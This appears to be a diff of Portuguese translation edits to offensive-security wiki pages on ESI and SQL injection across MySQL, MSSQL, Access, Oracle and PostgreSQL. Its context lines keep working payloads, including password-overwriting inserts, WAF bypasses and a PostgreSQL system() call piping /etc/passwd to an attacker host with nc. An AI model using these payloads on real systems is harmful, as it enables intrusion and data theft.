-- **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros XSS
+- **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros de XSS
 - **Cookie**: Cookies do documento são acessíveis ao mecanismo ESI
 - **Cabeçalhos Upstream Necessários**: Aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
 - **Lista de Permissão de Hosts**: Neste caso, inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
 
 |         **Software**         | **Includes** | **Vars** | **Cookies** | **Cabeçalhos Upstream Necessários** | **Lista de Permissão de Hosts** |
 | :--------------------------: | :----------: | :------: | :---------: | :-------------------------------: | :-----------------------------: |
-|            Squid3            |     Sim      |   Sim    |     Sim     |              Sim                  |              Não                |
-|        Varnish Cache         |     Sim      |    Não    |     Não     |              Sim                  |              Sim                |
-|            Fastly            |     Sim      |    Não    |     Não     |              Não                  |              Sim                |
-| Akamai ESI Test Server (ETS) |     Sim      |   Sim    |     Sim     |              Não                  |              Não                |
-|          NodeJS esi          |     Sim      |   Sim    |     Sim     |              Não                  |              Não                |
-|        NodeJS nodesi         |     Sim      |    Não    |     Não     |              Não                  |           Opcional              |
+|            Squid3            |     Sim      |   Sim    |     Sim     |              Sim                  |              Não               |
+|        Varnish Cache         |     Sim      |    Não    |     Não     |              Sim                  |              Sim               |
+|            Fastly            |     Sim      |    Não    |     Não     |              Não                  |              Sim               |
+| Akamai ESI Test Server (ETS) |     Sim      |   Sim    |     Sim     |              Não                  |              Não               |
+|          NodeJS esi          |     Sim      |   Sim    |     Sim     |              Não                  |              Não               |
+|        NodeJS nodesi         |     Sim      |    Não    |     Não     |              Não                  |           Opcional             |
 
 #### XSS
 

src/pentesting-web/sql-injection/README.md

@@ -224,7 +224,7 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
 ```
 ## Consultas Empilhadas
 
-Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas** onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
+Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
 
 **Oracle** não suporta **consultas empilhadas.** **MySQL, Microsoft** e **PostgreSQL** as suportam: `QUERY-1-HERE; QUERY-2-HERE`
 
@@ -303,17 +303,17 @@ print r.text
 ```sql
 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 ```
-## Insert Statement
+## Instrução de Inserção
 
 ### Modificar a senha de um objeto/usuário existente
 
 Para isso, você deve tentar **criar um novo objeto nomeado como o "objeto mestre"** (provavelmente **admin** no caso de usuários) modificando algo:
 
-- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
-- Criar um usuário nomeado: **admin=**
-- **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
+- Criar usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
+- Criar um usuário chamado: **admin=**
+- **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
 
-#### SQL Truncation Attack
+#### Ataque de Truncamento SQL
 
 Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
 
@@ -321,11 +321,11 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis
 
 Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
-_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Nota: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
-### Verificação baseada em tempo de inserção do MySQL
+### Verificação baseada em tempo de inserção MySQL
 
-Adicione o máximo de `','',''` que você considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
+Adicione quantos `','',''` você considerar para sair da instrução VALUES. Se o atraso for executado, você tem uma SQLInjection.
 ```sql
 name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
@@ -335,7 +335,7 @@ A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar aç
 
 Exemplo de Injeção de Payload:
 
-Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas para serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
+Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
@@ -435,7 +435,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
 ```
 ### Bypass de WAF com Notação Científica
 
-Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
+Você pode encontrar uma explicação mais detalhada desse truque no [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
 Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
 ```
 -1' or 1.e(1) or '1'='1
@@ -444,7 +444,7 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
 ```
 ### Bypass Column Names Restriction
 
-Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
+Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a bandeira tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
 
 É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria assim:
 ```bash

src/pentesting-web/sql-injection/ms-access-sql-injection.md

@@ -56,7 +56,7 @@ Imagine que você tem uma SQLi em um banco de dados MS Access e você sabe (ou a
 ```sql
 '=(Mid(username,1,3)='adm')='
 ```
-Se você conhece o **nome da tabela** e **coluna** para despejar, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
+Se você souber o **nome da tabela** e **coluna** para despejar, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
 ```sql
 '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
 ```
@@ -132,7 +132,7 @@ No entanto, note que é muito típico encontrar SQL Injections onde você **não
 
 ### Caminho Completo do Diretório Raiz da Web
 
-O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques posteriores**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
+O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
 
 `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
 
@@ -156,7 +156,7 @@ Outra maneira de enumerar arquivos consiste em **especificar um item database.ta
 
 Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
 
-### Quebrador de Senha .mdb
+### Cracker de Senha .mdb
 
 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
 

src/pentesting-web/sql-injection/mssql-injection.md

@@ -7,7 +7,7 @@
 Pode ser possível **enumerar usuários de domínio via SQL injection dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
 
 - **`SELECT DEFAULT_DOMAIN()`**: Obter o nome do domínio atual.
-- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se você souber o nome do domínio (_DOMAIN_ neste exemplo), esta função retornará o **SID do usuário Administrator** em formato hexadecimal. Isso parecerá como `0x01050000000[...]0000f401`, note como os **últimos 4 bytes** são o número **500** em formato **big endian**, que é o **ID comum do usuário administrador**.\
+- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se você souber o nome do domínio (_DOMAIN_ neste exemplo), esta função retornará o **SID do usuário Administrator** em formato hexadecimal. Isso se parecerá com `0x01050000000[...]0000f401`, note como os **últimos 4 bytes** são o número **500** em formato **big endian**, que é o **ID comum do usuário administrador**.\
 Esta função permitirá que você **saiba o ID do domínio** (todos os bytes, exceto os últimos 4).
 - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
 ```python
@@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
 ```
 ### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
 
-Procedimentos armazenados como `xp_dirtree`, embora não oficialmente documentados pela Microsoft, foram descritos por outros online devido à sua utilidade em operações de rede dentro do MSSQL. Esses procedimentos são frequentemente usados na exfiltração de dados fora de banda, como demonstrado em vários [exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) e [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
+Procedimentos armazenados como `xp_dirtree`, embora não oficialmente documentados pela Microsoft, foram descritos por outros online devido à sua utilidade em operações de rede dentro do MSSQL. Esses procedimentos são frequentemente usados na exfiltração de dados fora de banda, como mostrado em vários [exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) e [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
 
 O procedimento armazenado `xp_dirtree`, por exemplo, é usado para fazer solicitações de rede, mas é limitado apenas à porta TCP 445. O número da porta não é modificável, mas permite a leitura de compartilhamentos de rede. O uso é demonstrado no script SQL abaixo:
 ```sql
@@ -109,7 +109,7 @@ Obviamente, você também poderia usar **`xp_cmdshell`** para **executar** algo
 
 Criar uma UDF CLR (Função Definida pelo Usuário do Common Language Runtime), que é um código escrito em qualquer linguagem .NET e compilado em uma DLL, para ser carregado dentro do MSSQL para executar funções personalizadas, é um processo que requer acesso `dbo`. Isso significa que geralmente é viável apenas quando a conexão com o banco de dados é feita como `sa` ou com um papel de Administrador.
 
-Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como uma assembly CLR, permitindo assim a execução de requisições HTTP GET de dentro do MSSQL.
+Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como uma montagem CLR, permitindo assim a execução de requisições HTTP GET de dentro do MSSQL.
 
 O núcleo dessa funcionalidade está encapsulado no arquivo `http.cs`, que utiliza a classe `WebClient` para executar uma requisição GET e recuperar conteúdo, conforme ilustrado abaixo:
 ```csharp
@@ -139,7 +139,7 @@ SELECT dbo.http(@url);
 ```
 ### **Exploração Rápida: Recuperando Todo o Conteúdo da Tabela em uma Única Consulta**
 
-[Truque daqui](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
+[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
 
 Um método conciso para extrair o conteúdo completo de uma tabela em uma única consulta envolve a utilização da cláusula `FOR JSON`. Esta abordagem é mais sucinta do que usar a cláusula `FOR XML`, que requer um modo específico como "raw". A cláusula `FOR JSON` é preferida por sua brevidade.
 
@@ -203,7 +203,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
 According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
 
 ```sql
-SELECIONE 'a' SELECIONE 'b'
+SELECT 'a' SELECT 'b'
 ```
 
 So for example, multiple queries such as:

src/pentesting-web/sql-injection/mysql-injection/README.md

@@ -92,7 +92,7 @@ UniOn SeLect 1,2
 UniOn SeLect 1,2,3
 ...
 ```
-## MySQL Base Unida
+## MySQL Baseado em União
 ```sql
 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@@ -115,7 +115,7 @@ Para mais informações, consulte [este post no blog](https://karmainsecurity.co
 
 ### Alternativas ao information_schema
 
-Lembre-se de que nas versões "modernas" do **MySQL** você pode substituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ ou por _**sys.x$schema_flattened_keys**_ ou por **sys.schema_table_statistics**
+Lembre-se de que nas versões "modernas" do **MySQL** você pode substituir _**information_schema.tables**_ por _**mysql.innodb_table_stats**_ ou por _**sys.x$schema_flattened_keys**_ ou por **sys.schema_table_statistics**.
 
 ### MySQLinjection sem VÍRGULAS
 

src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

@@ -4,7 +4,7 @@
 
 **Este é um resumo das técnicas MySQL/MariaDB/Percona de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
 
-### Server-Side Request Forgery (SSRF) via Funções SQL
+### Server-Side Request Forgery (SSRF) via SQL Functions
 
 Na exploração da exfiltração de dados SQL Out of Band, a função `LOAD_FILE()` é comumente utilizada para iniciar requisições de rede. No entanto, essa função é limitada pelo sistema operacional em que opera e pelas configurações de inicialização do banco de dados.
 
@@ -12,9 +12,9 @@ A variável global `secure_file_priv`, se não definida, tem como padrão `/var/
 
 Dado que `secure_file_priv` está desativado (`""`), e assumindo que as permissões necessárias de arquivo e `file_priv` são concedidas, arquivos fora do diretório designado podem ser lidos. No entanto, a capacidade dessas funções de fazer chamadas de rede depende fortemente do sistema operacional. Em sistemas Windows, chamadas de rede para caminhos UNC são viáveis devido à compreensão do sistema operacional sobre as convenções de nomenclatura UNC, potencialmente levando à exfiltração de hashes NTLMv2.
 
-Este método SSRF é limitado à porta TCP 445 e não permite a modificação do número da porta, embora possa ser usado para acessar compartilhamentos com plenos privilégios de leitura e, como demonstrado em pesquisas anteriores, para roubar hashes para exploração adicional.
+Esse método SSRF é limitado à porta TCP 445 e não permite a modificação do número da porta, embora possa ser usado para acessar compartilhamentos com plenos privilégios de leitura e, como demonstrado em pesquisas anteriores, para roubar hashes para exploração adicional.
 
-### Execução Remota de Código (RCE) via Funções Definidas pelo Usuário (UDF)
+### Remote Code Execution (RCE) via User Defined Functions (UDF)
 
 Bancos de dados MySQL oferecem o uso de Funções Definidas pelo Usuário (UDF) a partir de arquivos de biblioteca externos. Se essas bibliotecas estiverem acessíveis dentro de diretórios específicos ou no `$PATH` do sistema, podem ser invocadas a partir do MySQL.
 

src/pentesting-web/sql-injection/oracle-injection.md

@@ -14,7 +14,7 @@ Eu executei o comando docker com a flag `--network="host"` para que eu pudesse i
 ```
 docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
 ```
-#### Pacotes Oracle que suportam uma especificação de URL ou de Nome do Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
+#### Pacotes Oracle que suportam uma especificação de URL ou de Nome de Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
 
 Para encontrar pacotes e funções que suportam uma especificação de host e porta, fiz uma pesquisa no [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Especificamente,
 ```

src/pentesting-web/sql-injection/postgresql-injection/README.md

@@ -10,9 +10,9 @@
 
 O **módulo PostgreSQL `dblink`** oferece capacidades para conectar a outras instâncias PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade `COPY FROM`, permitem ações como escalação de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, veja como [realizar esses ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
 
-### **Exemplo de exfiltração usando dblink e grandes objetos**
+### **Exemplo de exfiltração usando dblink e objetos grandes**
 
-Você pode [**ler este exemplo**](dblink-lo_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de grandes objetos e, em seguida, exfiltrar o conteúdo de grandes objetos dentro do nome de usuário** da função `dblink_connect`.
+Você pode [**ler este exemplo**](dblink-lo_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e, em seguida, exfiltrar o conteúdo de objetos grandes dentro do nome de usuário** da função `dblink_connect`.
 
 ## Ataques PostgreSQL: Leitura/escrita, RCE, privesc
 
@@ -31,7 +31,7 @@ Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\
 
 ### Consultas Empilhadas
 
-Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações gerarão um erro se 2 respostas forem retornadas quando se espera apenas 1. Mas, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
+Lembre-se de que o PostgreSQL suporta consultas empilhadas, mas várias aplicações gerarão um erro se 2 respostas forem retornadas quando se espera apenas 1. Mas, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@@ -64,7 +64,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
 ```
 ### Citações proibidas
 
-Se não puder usar aspas para seu payload, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres funciona apenas para consultas básicas, como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
+Se não puder usar citações para seu payload, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres funciona apenas para consultas básicas, como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
 ```
 SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
 ```

src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

@@ -15,7 +15,7 @@ Para codificar cada arquivo em Base64 ou Hex, os comandos abaixo podem ser usado
 base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
 xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
 ```
-**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes em texto claro. Arquivos codificados em Hex exigirão 4KB de dados por pedaço devido à duplicação no tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
+**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes em texto claro. Arquivos codificados em Hex exigirão 4KB de dados por pedaço devido à duplicação do tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
 
 O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:
 ```sql

src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

@@ -12,11 +12,11 @@ Uma vez que você tenha o dblink carregado, você poderá realizar alguns truque
 
 ### Escalação de Privilégios
 
-O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Este arquivo pode ser tipicamente encontrado em `/etc/postgresql/12/main/pg_hba.conf` e uma configuração ruim se parece com:
+O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Este arquivo pode ser encontrado tipicamente em `/etc/postgresql/12/main/pg_hba.conf` e uma configuração ruim se parece com:
 ```
 local    all    all    trust
 ```
-_Note que esta configuração é comumente usada para modificar a senha de um usuário do db quando o admin a esquece, então às vezes você pode encontrá-la._\
+_Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
 &#xNAN;_Note também que o arquivo pg_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
 
 Este caso é **útil se** você **já** tiver um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.

src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md

@@ -6,14 +6,14 @@
 
 PL/pgSQL é uma **linguagem de programação totalmente funcional** que vai além das capacidades do SQL, oferecendo **controle procedural aprimorado**. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por instruções SQL e gatilhos, ampliando o escopo de operações dentro do ambiente de banco de dados.
 
-Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar sua existência usando:
+Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force nas credenciais dos usuários, mas ela deve existir no banco de dados. Você pode verificar sua existência usando:
 ```sql
 SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
 lanname | lanacl
 ---------+---------
 plpgsql |
 ```
-Por padrão, **criar funções é um privilégio concedido ao PUBLIC**, onde PUBLIC se refere a todos os usuários desse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USAGE do domínio PUBLIC:
+Por padrão, **criar funções é um privilégio concedido ao PUBLIC**, onde PUBLIC se refere a todos os usuários nesse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USAGE do domínio PUBLIC:
 ```sql
 REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
 ```
@@ -24,7 +24,7 @@ lanname | lanacl
 ---------+-----------------
 plpgsql | {admin=U/admin}
 ```
-Observe que para o seguinte script funcionar **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com 
+Observe que para o seguinte script funcionar **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com
 ```sql
 CREATE EXTENSION dblink;
 ```

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

@@ -14,7 +14,7 @@ Além disso, tenha em mente que **se você não sabe como** [**fazer upload de a
 
 **Para mais informações, consulte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
 
-A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [Módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
 ```sql
 CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
 SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
 
 <summary>Escrever arquivo binário a partir de base64</summary>
 
-Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse assunto:
+Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
 ```sql
 CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
 $$
@@ -75,7 +75,7 @@ HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
 ```
 Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
 
-> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
+> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um “bloco mágico” com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
 >
 > `#ifdef PG_MODULE_MAGIC`\
 > `PG_MODULE_MAGIC;`\
@@ -254,15 +254,15 @@ Observe como, neste caso, o **código malicioso está dentro da função DllMain
 ```c
 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
 ```
-O [PolyUDF project](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.
+O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.
 
 ### RCE nas versões mais recentes do PostgreSQL
 
-Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
+Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de escrita pelos contas NETWORK_SERVICE ou postgres.
 
-Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
+Apesar dessas restrições, é possível para um `superuser` autenticado **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
 
-Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para gravar um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
+Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
 
